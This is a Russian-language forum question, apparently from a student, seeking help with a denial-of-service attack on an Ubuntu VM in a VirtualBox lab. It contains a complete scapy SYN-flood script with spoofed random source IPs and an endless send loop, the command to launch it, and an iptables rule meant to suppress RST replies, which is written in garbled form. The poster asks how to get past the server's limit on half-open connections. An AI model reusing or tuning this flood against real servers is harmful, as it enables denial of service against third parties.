Для школьного проекта я пытаюсь сделать DOS на сервере Ubuntu (18.04), используя рабочий стол Ubuntu 18.04 с scapy. Они оба размещены как виртуальные машины на VirtualBox.
На стороне сервера у меня есть Python SimpleHTTPServer на порту 80, который доступен для настольного компьютера и доступен через браузер.
Я пытаюсь сделать это с помощью этого кода:
#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
#creating packet
# insert IP header fields
tcp = TCP()
ip = IP()
#set source IP as random valid IP
ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
ip.dst = target
# insert TCP header fields
tcp = TCP()
#set source port as random valid port
tcp.sport = random.randint(1,65535)
tcp.dport = port
#set SYN flag
tcp.flags = 'S'
send(ip/tcp)
return ;
#control arguments
if len(sys.argv) != 3:
print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
#call SYNFlood attack
sendSYN(target,port)
count += 1
print("Total packets sent: %i" % count)
print("==========================================")
, который в основном отправляет бесконечное количество запросов SYN на целевой компьютер через указанный пользователем порт. Его использование: sudo python pythonDOS.py <target IP> <target port>
.
Перед запуском этого я делаю sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP
на атакующей машине, чтобы ядро не отправляло запрос RST.
Кажется, атака работает: на проводнике на компьютере злоумышленника я вижу, что пакеты отправляются правильно, но сервер не выходит из строя.
Запустив netstat -antp | grep 80
на целевом сервере, я получаю следующие выходные данные:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 138.221.76.4:24171 SYN_RECV -
tcp 0 0 192.168.1.51:80 164.253.235.187:64186 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
и если я перезапущу команду через несколько секунд:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 100.58.218.121:10306 SYN_RECV -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 47.206.177.213:39759 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
Похоже, что сервер может обработать максимум 5 SYN_RECV, хотя я делаю сотни таких запросов с компьютера атакующего, поэтому я думаю, что именно поэтому я не могу DOS-сервер. UFW отключен. Моя цель - отключить или понять, что происходит на сервере, и отключить его для выполнения атаки DOS.
Любая помощь приветствуется, спасибо заранее.
ОБНОВЛЕНИЕ: я установил tshark на целевом сервере, и из этого я вижу, что все отправляемые пакеты принимаются на сервере, поэтому они не теряются при обмене данными между двумя виртуальными машинами. Также работает netstat -i
Я вижу, что нет RX_DROP
.